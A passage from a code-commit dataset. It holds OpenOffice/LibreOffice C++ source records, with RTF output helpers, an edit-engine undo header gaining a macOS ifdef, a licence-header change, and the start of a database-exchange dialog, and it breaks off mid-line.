   rStream << \"\\\\'\";\n                        Out_Hex(rStream, sConverted.getStr()[nI], 2);\n                    }\n                }\n                break;\n        }\n        break;\n    }\n\n    if (pStr)\n        rStream << pStr << ' ';\n\n    return rStream;\n}\n\nSvStream& RTFOutFuncs::Out_String( SvStream& rStream, const String& rStr,\n    rtl_TextEncoding eDestEnc, BOOL bWriteHelpFile)\n{\n    int nUCMode = 1;\n    for (xub_StrLen n = 0; n < rStr.Len(); ++n)\n        Out_Char(rStream, rStr.GetChar(n), &nUCMode, eDestEnc, bWriteHelpFile);\n    if (nUCMode != 1)\n      rStream << \"\\\\uc1\"<< \" \"; \/\/ #i47831# add an additional whitespace, so that \"document whitespaces\" are not ignored.;\n    return rStream;\n}\n\nSvStream& RTFOutFuncs::Out_Fontname(SvStream& rStream, const String& rStr,\n    rtl_TextEncoding eDestEnc, BOOL bWriteHelpFile)\n{\n    \/\/Fontnames in word have a quirk in that \\uc and usage of ansi replacement\n    \/\/chars after a \\u don't work and in wordpad \\u doesn't work, so we are\n    \/\/left with forcing ansi characters only for fontnames\n    for (xub_StrLen n = 0; n < rStr.Len(); ++n)\n        Out_Char(rStream, rStr.GetChar(n), 0, eDestEnc, bWriteHelpFile);\n    return rStream;\n}\n\nSvStream& RTFOutFuncs::Out_Hex( SvStream& rStream, ULONG nHex, BYTE nLen )\n{\n    sal_Char aNToABuf[] = \"0000000000000000\";\n\n    DBG_ASSERT( nLen < sizeof(aNToABuf), \"zu viele Stellen\" );\n    if( nLen >= sizeof(aNToABuf) )\n        nLen = (sizeof(aNToABuf)-1);\n\n    \/\/ Pointer an das Bufferende setzen\n    sal_Char* pStr = aNToABuf + (sizeof(aNToABuf)-1);\n    for( BYTE n = 0; n < nLen; ++n )\n    {\n        *(--pStr) = (sal_Char)(nHex & 0xf ) + 48;\n        if( *pStr > '9' )\n            *pStr += 39;\n        nHex >>= 4;\n    }\n    return rStream << pStr;\n}\n\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: editundo.hxx,v $\n *\n *  $Revision: 1.2 $\n *\n *  last change: $Author: mt $ $Date: 2001-02-23 13:05:25 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _EDITUNDO_HXX\n#define _EDITUNDO_HXX\n\n#include <editdoc.hxx>\n#include <editund2.hxx>\n#include <editdata.hxx>\n\n#define UNDO_NOACTION           0\n#define UNDO_NEWUNDO            1\n#define UNDO_UNDOSDELETED       2\n#define UNDO_EMPTYGROUPDELETED  3\n#define UNDO_INVALIDEND         4\n\nclass ImpEditEngine;\nclass EditView;\n\n\/\/ -----------------------------------------------------------------------\n\/\/ EditUndoDelContent\n\/\/ ------------------------------------------------------------------------\nclass EditUndoDelContent : public EditUndo\n{\nprivate:\n    BOOL            bDelObject;\n    USHORT          nNode;\n    ContentNode*    pContentNode;   \/\/ Zeigt auf das gueltige,\n                                    \/\/ nicht zerstoerte Objekt!\n\npublic:\n                    TYPEINFO();\n                    EditUndoDelContent( ImpEditEngine* pImpEE, ContentNode* pNode, USHORT nPortio );\n                    ~EditUndoDelContent();\n\n    virtual void    Undo();\n    virtual void    Redo();\n    virtual void    Repeat();\n};\n\n\/\/ -----------------------------------------------------------------------\n\/\/ EditUndoConnectParas\n\/\/ ------------------------------------------------------------------------\nclass EditUndoConnectParas : public EditUndo\n{\nprivate:\n    USHORT          nNode;\n    USHORT          nSepPos;\n    SfxItemSet      aLeftParaAttribs;\n    SfxItemSet      aRightParaAttribs;\n\n    \/\/ 2 Pointer waeren schoener, aber dann muesste es ein SfxListener sein.\n    String          aLeftStyleName;\n    String          aRightStyleName;\n    SfxStyleFamily  eLeftStyleFamily;\n    SfxStyleFamily  eRightStyleFamily;\n\n    BOOL            bBackward;\n\npublic:\n                    TYPEINFO();\n                    EditUndoConnectParas( ImpEditEngine* pImpEE, USHORT nNode, USHORT nSepPos,\n                                            const SfxItemSet& rLeftParaAttribs, const SfxItemSet& rRightParaAttribs,\n                                            const SfxStyleSheet* pLeftStyle, const SfxStyleSheet* pRightStyle, BOOL bBackward );\n                    ~EditUndoConnectParas();\n\n    virtual void    Undo();\n    virtual void    Redo();\n    virtual void    Repeat();\n};\n\n\/\/ -----------------------------------------------------------------------\n\/\/ EditUndoSplitPara\n\/\/ ------------------------------------------------------------------------\nclass EditUndoSplitPara : public EditUndo\n{\nprivate:\n    USHORT          nNode;\n    USHORT          nSepPos;\n\npublic:\n                    TYPEINFO();\n                    EditUndoSplitPara( ImpEditEngine* pImpEE, USHORT nNode, USHORT nSepPos );\n                    ~EditUndoSplitPara();\n\n    virtual void    Undo();\n    virtual void    Redo();\n    virtual void    Repeat();\n};\n\n\/\/ -----------------------------------------------------------------------\n\/\/ EditUndoInsertChars\n\/\/ ------------------------------------------------------------------------\nclass EditUndoInsertChars : public EditUndo\n{\nprivate:\n    EPaM            aEPaM;\n    String          aText;\n\npublic:\n                    TYPEINFO();\n                    EditUndoInsertChars( ImpEditEngine* pImpEE, const EPaM& rEPaM, const String& rStr );\n\n    const EPaM&     GetEPaM() { return aEPaM; }\n    String&         GetStr() { return aText; }\n\n    virtual void    Undo();\n    virtual void    Redo();\n    virtual void    Repeat();\n\n    virtual BOOL    Merge( SfxUndoAction *pNextAction );\n};\n\n\/\/ -----------------------------------------------------------------------\n\/\/ EditUndoRemoveChars\n\/\/ ------------------------------------------------------------------------\nclass EditUndoRemoveChars : public EditUndo\n{\nprivate:\n    EPaM            aEPaM;\n    String          aText;\n\npublic:\n                    TYPEINFO();\n                    EditUndoRemoveChars( ImpEditEngine* pImpEE, const EPaM& rEPaM, const String& rStr );\n\n    const EPaM&     GetEPaM() { return aEPaM; }\n    String&         GetStr() { return aText; }\n\n    virtual void    Undo();\n    virtual void    Redo();\n    virtual void    Repeat();\n};\n\n\/\/ -----------------------------------------------------------------------\n\/\/ EditUndoInsertFeature\n\/\/ ------------------------------------------------------------------------\nclass EditUndoInsertFeature : public EditUndo\n{\nprivate:\n    EPaM            aEPaM;\n    SfxPoolItem*    pFeature;\n\npublic:\n                    TYPEINFO();\n                    EditUndoInsertFeature( ImpEditEngine* pImpEE, const EPaM& rEPaM,\n                                            const SfxPoolItem& rFeature);\n                    ~EditUndoInsertFeature();\n\n    virtual void    Undo();\n    virtual void    Redo();\n    virtual void    Repeat();\n};\n\n\/\/ -----------------------------------------------------------------------\n\/\/ EditUndoMoveParagraphs\n\/\/ ------------------------------------------------------------------------\nclass EditUndoMoveParagraphs: public EditUndo\n{\nprivate:\n    Range           nParagraphs;\n    USHORT          nDest;\n\npublic:\n                    TYPEINFO();\n                    EditUndoMoveParagraphs( ImpEditEngine* pImpEE, const Range& rParas, USHORT nDest );\n                    ~EditUndoMoveParagraphs();\n\n    virtual void    Undo();\n    virtual void    Redo();\n    virtual void    Repeat();\n};\n\n\/\/ -----------------------------------------------------------------------\n\/\/ EditUndoSetStyleSheet\n\/\/ ------------------------------------------------------------------------\nclass EditUndoSetStyleSheet: public EditUndo\n{\nprivate:\n    USHORT          nPara;\n    XubString       aPrevName;\n    XubString       aNewName;\n    SfxStyleFamily  ePrevFamily;\n    SfxStyleFamily  eNewFamily;\n    SfxItemSet      aPrevParaAttribs;\n\npublic:\n                    TYPEINFO();\n\n                    EditUndoSetStyleSheet( ImpEditEngine* pImpEE, USHORT nPara,\n                        const XubString& rPrevName, SfxStyleFamily ePrevFamily,\n                        const XubString& rNewName, SfxStyleFamily eNewFamily,\n                        const SfxItemSet& rPrevParaAttribs );\n                    ~EditUndoSetStyleSheet();\n\n    virtual void    Undo();\n    virtual void    Redo();\n    virtual void    Repeat();\n};\n\n\/\/ -----------------------------------------------------------------------\n\/\/ EditUndoSetParaAttribs\n\/\/ ------------------------------------------------------------------------\nclass EditUndoSetParaAttribs: public EditUndo\n{\nprivate:\n    USHORT          nPara;\n    SfxItemSet      aPrevItems;\n    SfxItemSet      aNewItems;\n\npublic:\n                    TYPEINFO();\n                    EditUndoSetParaAttribs( ImpEditEngine* pImpEE, USHORT nPara, const SfxItemSet& rPrevItems, const SfxItemSet& rNewItems );\n                    ~EditUndoSetParaAttribs();\n\n    virtual void    Undo();\n    virtual void    Redo();\n    virtual void    Repeat();\n};\n\n\/\/ -----------------------------------------------------------------------\n\/\/ EditUndoSetAttribs\n\/\/ ------------------------------------------------------------------------\nclass EditUndoSetAttribs: public EditUndo\n{\nprivate:\n    ESelection          aESel;\n    SfxItemSet          aNewAttribs;\n    ContentInfoArray    aPrevAttribs;\n\n    BYTE                nSpecial;\n    BOOL                bSetIsRemove;\n    BOOL                bRemoveParaAttribs;\n    USHORT              nRemoveWhich;\n\n    void                ImpSetSelection( EditView* pView );\n\n\npublic:\n                        TYPEINFO();\n                        EditUndoSetAttribs( ImpEditEngine* pImpEE, const ESelection& rESel, const SfxItemSet& rNewItems );\n                        ~EditUndoSetAttribs();\n\n    ContentInfoArray&   GetContentInfos()   { return aPrevAttribs; }\n    SfxItemSet&         GetNewAttribs()     { return aNewAttribs; }\n\n    void                SetSpecial( BYTE n )            { nSpecial = n; }\n    void                SetRemoveAttribs( BOOL b )      { bSetIsRemove = b; }\n    void                SetRemoveParaAttribs( BOOL b )  { bRemoveParaAttribs = b; }\n    void                SetRemoveWhich( USHORT n )      { nRemoveWhich = n; }\n\n    virtual void        Undo();\n    virtual void        Redo();\n    virtual void        Repeat();\n};\n\n\/\/ -----------------------------------------------------------------------\n\/\/ EditUndoTransliteration\n\/\/ ------------------------------------------------------------------------\nclass EditUndoTransliteration: public EditUndo\n{\nprivate:\n    ESelection          aOldESel;\n    ESelection          aNewESel;\n\n    sal_Int32           nMode;\n    EditTextObject*     pTxtObj;\n    String              aText;\n\npublic:\n                        TYPEINFO();\n                        EditUndoTransliteration( ImpEditEngine* pImpEE, const ESelection& rESel, sal_Int32 nMode );\n                        ~EditUndoTransliteration();\n\n    void                SetText( const String& rText ) { aText = rText; }\n    void                SetText( EditTextObject* pObj ) { pTxtObj = pObj; }\n    void                SetNewSelection( const ESelection& rSel ) { aNewESel = rSel; }\n\n    virtual void        Undo();\n    virtual void        Redo();\n    virtual void        Repeat();\n};\n\n\/\/ -----------------------------------------------------------------------\n\/\/ EditUndoMarkSelection\n\/\/ ------------------------------------------------------------------------\nclass EditUndoMarkSelection: public EditUndo\n{\nprivate:\n    ESelection      aSelection;\n\npublic:\n                    TYPEINFO();\n                    EditUndoMarkSelection( ImpEditEngine* pImpEE, const ESelection& rSel );\n                    ~EditUndoMarkSelection();\n\n    virtual void    Undo();\n    virtual void    Redo();\n    virtual void    Repeat();\n};\n\n\n#endif \/\/ _EDITUNDO_HXX\n<commit_msg>#101685#,#i6886# merge OOO_STABLE_1_PORTS (1.2-1.2.24.1) -> HEAD<commit_after>\/*************************************************************************\n *\n *  $RCSfile: editundo.hxx,v $\n *\n *  $Revision: 1.3 $\n *\n *  last change: $Author: hr $ $Date: 2002-08-20 11:14:24 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _EDITUNDO_HXX\n#define _EDITUNDO_HXX\n\n#include <editdoc.hxx>\n#include <editund2.hxx>\n#include <editdata.hxx>\n\n#define UNDO_NOACTION           0\n#define UNDO_NEWUNDO            1\n#define UNDO_UNDOSDELETED       2\n#define UNDO_EMPTYGROUPDELETED  3\n#define UNDO_INVALIDEND         4\n\nclass ImpEditEngine;\nclass EditView;\n\n\/\/ -----------------------------------------------------------------------\n\/\/ EditUndoDelContent\n\/\/ ------------------------------------------------------------------------\nclass EditUndoDelContent : public EditUndo\n{\nprivate:\n    BOOL            bDelObject;\n    USHORT          nNode;\n    ContentNode*    pContentNode;   \/\/ Zeigt auf das gueltige,\n                                    \/\/ nicht zerstoerte Objekt!\n\npublic:\n                    TYPEINFO();\n                    EditUndoDelContent( ImpEditEngine* pImpEE, ContentNode* pNode, USHORT nPortio );\n                    ~EditUndoDelContent();\n\n    virtual void    Undo();\n    virtual void    Redo();\n    virtual void    Repeat();\n};\n\n\/\/ -----------------------------------------------------------------------\n\/\/ EditUndoConnectParas\n\/\/ ------------------------------------------------------------------------\nclass EditUndoConnectParas : public EditUndo\n{\nprivate:\n    USHORT          nNode;\n    USHORT          nSepPos;\n    SfxItemSet      aLeftParaAttribs;\n    SfxItemSet      aRightParaAttribs;\n\n    \/\/ 2 Pointer waeren schoener, aber dann muesste es ein SfxListener sein.\n    String          aLeftStyleName;\n    String          aRightStyleName;\n    SfxStyleFamily  eLeftStyleFamily;\n    SfxStyleFamily  eRightStyleFamily;\n\n    BOOL            bBackward;\n\npublic:\n                    TYPEINFO();\n                    EditUndoConnectParas( ImpEditEngine* pImpEE, USHORT nNode, USHORT nSepPos,\n                                            const SfxItemSet& rLeftParaAttribs, const SfxItemSet& rRightParaAttribs,\n                                            const SfxStyleSheet* pLeftStyle, const SfxStyleSheet* pRightStyle, BOOL bBackward );\n                    ~EditUndoConnectParas();\n\n    virtual void    Undo();\n    virtual void    Redo();\n    virtual void    Repeat();\n};\n\n\/\/ -----------------------------------------------------------------------\n\/\/ EditUndoSplitPara\n\/\/ ------------------------------------------------------------------------\nclass EditUndoSplitPara : public EditUndo\n{\nprivate:\n    USHORT          nNode;\n    USHORT          nSepPos;\n\npublic:\n                    TYPEINFO();\n                    EditUndoSplitPara( ImpEditEngine* pImpEE, USHORT nNode, USHORT nSepPos );\n                    ~EditUndoSplitPara();\n\n    virtual void    Undo();\n    virtual void    Redo();\n    virtual void    Repeat();\n};\n\n\/\/ -----------------------------------------------------------------------\n\/\/ EditUndoInsertChars\n\/\/ ------------------------------------------------------------------------\nclass EditUndoInsertChars : public EditUndo\n{\nprivate:\n    EPaM            aEPaM;\n    String          aText;\n\npublic:\n                    TYPEINFO();\n                    EditUndoInsertChars( ImpEditEngine* pImpEE, const EPaM& rEPaM, const String& rStr );\n\n    const EPaM&     GetEPaM() { return aEPaM; }\n    String&         GetStr() { return aText; }\n\n    virtual void    Undo();\n    virtual void    Redo();\n    virtual void    Repeat();\n\n    virtual BOOL    Merge( SfxUndoAction *pNextAction );\n};\n\n\/\/ -----------------------------------------------------------------------\n\/\/ EditUndoRemoveChars\n\/\/ ------------------------------------------------------------------------\nclass EditUndoRemoveChars : public EditUndo\n{\nprivate:\n    EPaM            aEPaM;\n    String          aText;\n\npublic:\n                    TYPEINFO();\n                    EditUndoRemoveChars( ImpEditEngine* pImpEE, const EPaM& rEPaM, const String& rStr );\n\n#ifndef MACOSX\n    const EPaM&     GetEPaM() { return aEPaM; }\n    String&         GetStr() { return aText; }\n#else\n        \/\/ implementations moved to impedit2.cxx\n        \/\/ fixme revisit after gcc3\n    const EPaM&     GetEPaM();\n    String&         GetStr();\n#endif\n\n    virtual void    Undo();\n    virtual void    Redo();\n    virtual void    Repeat();\n};\n\n\/\/ -----------------------------------------------------------------------\n\/\/ EditUndoInsertFeature\n\/\/ ------------------------------------------------------------------------\nclass EditUndoInsertFeature : public EditUndo\n{\nprivate:\n    EPaM            aEPaM;\n    SfxPoolItem*    pFeature;\n\npublic:\n                    TYPEINFO();\n                    EditUndoInsertFeature( ImpEditEngine* pImpEE, const EPaM& rEPaM,\n                                            const SfxPoolItem& rFeature);\n                    ~EditUndoInsertFeature();\n\n    virtual void    Undo();\n    virtual void    Redo();\n    virtual void    Repeat();\n};\n\n\/\/ -----------------------------------------------------------------------\n\/\/ EditUndoMoveParagraphs\n\/\/ ------------------------------------------------------------------------\nclass EditUndoMoveParagraphs: public EditUndo\n{\nprivate:\n    Range           nParagraphs;\n    USHORT          nDest;\n\npublic:\n                    TYPEINFO();\n                    EditUndoMoveParagraphs( ImpEditEngine* pImpEE, const Range& rParas, USHORT nDest );\n                    ~EditUndoMoveParagraphs();\n\n    virtual void    Undo();\n    virtual void    Redo();\n    virtual void    Repeat();\n};\n\n\/\/ -----------------------------------------------------------------------\n\/\/ EditUndoSetStyleSheet\n\/\/ ------------------------------------------------------------------------\nclass EditUndoSetStyleSheet: public EditUndo\n{\nprivate:\n    USHORT          nPara;\n    XubString       aPrevName;\n    XubString       aNewName;\n    SfxStyleFamily  ePrevFamily;\n    SfxStyleFamily  eNewFamily;\n    SfxItemSet      aPrevParaAttribs;\n\npublic:\n                    TYPEINFO();\n\n                    EditUndoSetStyleSheet( ImpEditEngine* pImpEE, USHORT nPara,\n                        const XubString& rPrevName, SfxStyleFamily ePrevFamily,\n                        const XubString& rNewName, SfxStyleFamily eNewFamily,\n                        const SfxItemSet& rPrevParaAttribs );\n                    ~EditUndoSetStyleSheet();\n\n    virtual void    Undo();\n    virtual void    Redo();\n    virtual void    Repeat();\n};\n\n\/\/ -----------------------------------------------------------------------\n\/\/ EditUndoSetParaAttribs\n\/\/ ------------------------------------------------------------------------\nclass EditUndoSetParaAttribs: public EditUndo\n{\nprivate:\n    USHORT          nPara;\n    SfxItemSet      aPrevItems;\n    SfxItemSet      aNewItems;\n\npublic:\n                    TYPEINFO();\n                    EditUndoSetParaAttribs( ImpEditEngine* pImpEE, USHORT nPara, const SfxItemSet& rPrevItems, const SfxItemSet& rNewItems );\n                    ~EditUndoSetParaAttribs();\n\n    virtual void    Undo();\n    virtual void    Redo();\n    virtual void    Repeat();\n};\n\n\/\/ -----------------------------------------------------------------------\n\/\/ EditUndoSetAttribs\n\/\/ ------------------------------------------------------------------------\nclass EditUndoSetAttribs: public EditUndo\n{\nprivate:\n    ESelection          aESel;\n    SfxItemSet          aNewAttribs;\n    ContentInfoArray    aPrevAttribs;\n\n    BYTE                nSpecial;\n    BOOL                bSetIsRemove;\n    BOOL                bRemoveParaAttribs;\n    USHORT              nRemoveWhich;\n\n    void                ImpSetSelection( EditView* pView );\n\n\npublic:\n                        TYPEINFO();\n                        EditUndoSetAttribs( ImpEditEngine* pImpEE, const ESelection& rESel, const SfxItemSet& rNewItems );\n                        ~EditUndoSetAttribs();\n\n    ContentInfoArray&   GetContentInfos()   { return aPrevAttribs; }\n    SfxItemSet&         GetNewAttribs()     { return aNewAttribs; }\n\n    void                SetSpecial( BYTE n )            { nSpecial = n; }\n    void                SetRemoveAttribs( BOOL b )      { bSetIsRemove = b; }\n    void                SetRemoveParaAttribs( BOOL b )  { bRemoveParaAttribs = b; }\n    void                SetRemoveWhich( USHORT n )      { nRemoveWhich = n; }\n\n    virtual void        Undo();\n    virtual void        Redo();\n    virtual void        Repeat();\n};\n\n\/\/ -----------------------------------------------------------------------\n\/\/ EditUndoTransliteration\n\/\/ ------------------------------------------------------------------------\nclass EditUndoTransliteration: public EditUndo\n{\nprivate:\n    ESelection          aOldESel;\n    ESelection          aNewESel;\n\n    sal_Int32           nMode;\n    EditTextObject*     pTxtObj;\n    String              aText;\n\npublic:\n                        TYPEINFO();\n                        EditUndoTransliteration( ImpEditEngine* pImpEE, const ESelection& rESel, sal_Int32 nMode );\n                        ~EditUndoTransliteration();\n\n    void                SetText( const String& rText ) { aText = rText; }\n    void                SetText( EditTextObject* pObj ) { pTxtObj = pObj; }\n    void                SetNewSelection( const ESelection& rSel ) { aNewESel = rSel; }\n\n    virtual void        Undo();\n    virtual void        Redo();\n    virtual void        Repeat();\n};\n\n\/\/ -----------------------------------------------------------------------\n\/\/ EditUndoMarkSelection\n\/\/ ------------------------------------------------------------------------\nclass EditUndoMarkSelection: public EditUndo\n{\nprivate:\n    ESelection      aSelection;\n\npublic:\n                    TYPEINFO();\n                    EditUndoMarkSelection( ImpEditEngine* pImpEE, const ESelection& rSel );\n                    ~EditUndoMarkSelection();\n\n    virtual void    Undo();\n    virtual void    Redo();\n    virtual void    Repeat();\n};\n\n\n#endif \/\/ _EDITUNDO_HXX\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: eeng_pch.cxx,v $\n *\n *  $Revision: 1.4 $\n *\n *  last change: $Author: obo $ $Date: 2006-09-17 04:50:45 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_svx.hxx\"\n#include <eeng_pch.hxx>\n<commit_msg>INTEGRATION: CWS changefileheader (1.4.730); FILE MERGED 2008\/03\/31 14:21:41 rt 1.4.730.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: eeng_pch.cxx,v $\n * $Revision: 1.5 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_svx.hxx\"\n#include <eeng_pch.hxx>\n<|endoftext|>"}
{"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * This file incorporates work covered by the following license notice:\n *\n *   Licensed to the Apache Software Foundation (ASF) under one or more\n *   contributor license agreements. See the NOTICE file distributed\n *   with this work for additional information regarding copyright\n *   ownership. The ASF licenses this file to you under the Apache\n *   License, Version 2.0 (the \"License\"); you may not use this file\n *   except in compliance with the License. You may obtain a copy of\n *   the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0 .\n *\/\n\n#include <svtools\/stdctrl.hxx>\n#include <vcl\/msgbox.hxx>\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n#include <com\/sun\/star\/container\/XNameAccess.hpp>\n#include <com\/sun\/star\/sdb\/DatabaseContext.hpp>\n#include <com\/sun\/star\/sdb\/XDatabaseAccess.hpp>\n#include <comphelper\/processfactory.hxx>\n#include <sfx2\/viewfrm.hxx>\n#include \"svtools\/treelistentry.hxx\"\n\n#include <view.hxx>\n#include <wrtsh.hxx>\n#include <dbmgr.hxx>\n#include <fldmgr.hxx>\n#include <expfld.hxx>\n#include <txtatr.hxx>\n#include <ndtxt.hxx>\n#include <fldbas.hxx>\n#include <dbfld.hxx>\n#include <changedb.hxx>\n\n#include <fldui.hrc>\n#include <globals.hrc>\n#include <utlui.hrc>\n\n#include <unomid.h>\n\nusing namespace ::com::sun::star::container;\nusing namespace ::com::sun::star::lang;\nusing namespace ::com::sun::star::sdb;\nusing namespace ::com::sun::star::uno;\n\n\/*--------------------------------------------------------------------\n    Description: edit insert-field\n --------------------------------------------------------------------*\/\nSwChangeDBDlg::SwChangeDBDlg(SwView& rVw)\n    : SvxStandardDialog(&rVw.GetViewFrame()->GetWindow(), \"ExchangeDatabasesDialog\",\n        \"modules\/swriter\/ui\/exchangedatabases.ui\")\n    , aImageList(SW_RES(ILIST_DB_DLG))\n    , pSh(rVw.GetWrtShellPtr())\n    , pMgr( new SwFldMgr() )\n{\n    get(m_pUsedDBTLB, \"inuselb\");\n    get(m_pAvailDBTLB, \"availablelb\");\n    get(m_pAddDBPB, \"browse\");\n    get(m_pDocDBNameFT, \"dbnameft\");\n    get(m_pDefineBT, \"define\");\n    m_pAvailDBTLB->SetWrtShell(*pSh);\n    FillDBPopup();\n\n    ShowDBName(pSh->GetDBData());\n    m_pDefineBT->SetClickHdl(LINK(this, SwChangeDBDlg, ButtonHdl));\n    m_pAddDBPB->SetClickHdl(LINK(this, SwChangeDBDlg, AddDBHdl));\n\n    m_pUsedDBTLB->SetSelectionMode(MULTIPLE_SELECTION);\n    m_pUsedDBTLB->SetStyle(m_pUsedDBTLB->GetStyle()|WB_HASLINES|WB_CLIPCHILDREN|WB_SORT|WB_HASBUTTONS|WB_HASBUTTONSATROOT|WB_HSCROLL);\n    m_pUsedDBTLB->SetSpaceBetweenEntries(0);\n    m_pUsedDBTLB->SetNodeBitmaps( aImageList.GetImage(IMG_COLLAPSE), aImageList.GetImage(IMG_EXPAND));\n\n    Link aLink = LINK(this, SwChangeDBDlg, TreeSelectHdl);\n\n    m_pUsedDBTLB->SetSelectHdl(aLink);\n    m_pUsedDBTLB->SetDeselectHdl(aLink);\n    m_pAvailDBTLB->SetSelectHdl(aLink);\n    m_pAvailDBTLB->SetSelectHdl(aLink);\n    TreeSelectHdl();\n}\n\n\/*--------------------------------------------------------------------\n    Description: initialise database listboxes\n --------------------------------------------------------------------*\/\nvoid SwChangeDBDlg::FillDBPopup()\n{\n    Reference< XComponentContext > xContext( ::comphelper::getProcessComponentContext() );\n    Reference<XDatabaseContext> xDBContext = DatabaseContext::create(xContext);\n\n    const SwDBData& rDBData = 